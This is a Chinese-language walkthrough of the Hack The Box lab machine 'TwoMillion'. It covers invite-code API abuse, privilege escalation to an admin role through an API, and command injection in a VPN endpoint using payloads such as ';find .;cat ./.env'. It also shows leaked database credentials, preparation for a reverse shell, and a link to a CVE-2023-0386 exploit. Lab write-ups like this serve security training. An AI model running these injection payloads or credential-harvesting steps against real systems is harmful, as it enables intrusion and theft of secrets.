HTB TwoMilion

先扫一下端口,22和80开放

进浏览器页面看一下,这一步无法直接访问,因为可能htb没有将2million.htb注册到公网DNS服务器

需要

复制代码
sudo echo "10.10.11.221 2million.htb" >> /etc/hosts

卡了半天总算进来了

注册用户在invite页面需要输入邀请码,看网页源码,在/js/inviteapi.min.js中发现一段混淆的js代码,丢给ai解混淆

复制代码
var verifyInviteCode = function(code) {
    var formData = { "code": code };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

var makeInviteCode = function() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

得到两个函数,一个向服务器验证邀请码,一个制造邀请码

试一下制造邀请码,发现

rot13解密新端点,

复制代码
curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"MDBaQ1QtSTJORUItVkZVWjYtQlVaSjI=","format":"encoded"}}

访问拿到base64加密过的邀请码

注册一个用户进来

进来的页面点按钮要么没反应要么没信息,目录爆破一下,先装个dirsearch

复制代码
sudo su
apt-get install dirsearch

出来一个access路径没见过,进去可以下载ovpn文件,下载方式跟之前生成验证码的方式很像,都是通过api生成

因为有了登录,所以我们看一下可用的api有哪些

接下来可能需要这些api完成提权操作

我们向update user settings这里抓个包看看,根据它的需要补齐json数据

到这里应该就完成提权了

测试一下admin的几个api,发现vpn这个可以命令注入

复制代码
/home/admin/user.txt: Permission denied

有flag,但是没权限

接下来用kali接收反弹的shell

复制代码
└─# ip addr show tun0
6: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.16.35/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:4::1021/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::70fb:efb2:5610:8fa5/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

但是环境是php,用find找找环境变量.env在哪

复制代码
;find .;cat ./.env

发现数据库的登录名和密码

复制代码
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

kali新开一个终端进行ssh登录,拿到admin用户

看看suid

复制代码
{
"username":"123 || find / -perm -u=s -type f 2>/dev/null || "
}

发现CVE,大概率是要用这个提权了

https://github.com/Fanxiaoyao66/CVE-2023-0386

虽然上面有现成的,但是使用时一直无法正常提权(好吧原来是www-data不能正常用,admin可以

突然意识到,这个靶机是共享的,所以其实tmp下的cve利用是其他人上传的

相关推荐
qingtian!7 小时前
matrix-breakout-2-morpheus靶机渗透
网络安全·渗透测试·靶机复现
vortex521 小时前
AD渗透中服务账号相关攻击手法总结(Kerberoasting、委派)
windows·网络安全·渗透测试·ad
Jzhoucdc3 天前
CPTS-Manager ADCS ESC7利用
渗透测试·cpts
-曾牛4 天前
Upload-Labs靶场全20关通关攻略(含原理+实操+环境配置)
网络安全·渗透测试·靶场·文件上传漏洞·攻略·靶场教程·漏洞练习
独行soc5 天前
2025年渗透测试面试题总结-42(题目+回答)
android·数据库·安全·adb·面试·渗透测试·sqlite
Jzhoucdc9 天前
log4jshell CVE-2021-44228 复现
渗透测试·log4j
独行soc9 天前
2025年渗透测试面试题总结-38(题目+回答)
android·安全·网络安全·面试·职场和发展·渗透测试·求职
独行soc13 天前
2025年渗透测试面试题总结-29(题目+回答)
web安全·职场和发展·渗透测试·单元测试·压力测试
qingtian!14 天前
vulnhub-billu_b0x靶机渗透
网络安全·渗透测试
Jzhoucdc14 天前
CPTS-Agile (Werkzeug / Flask Debug)
渗透测试·cpts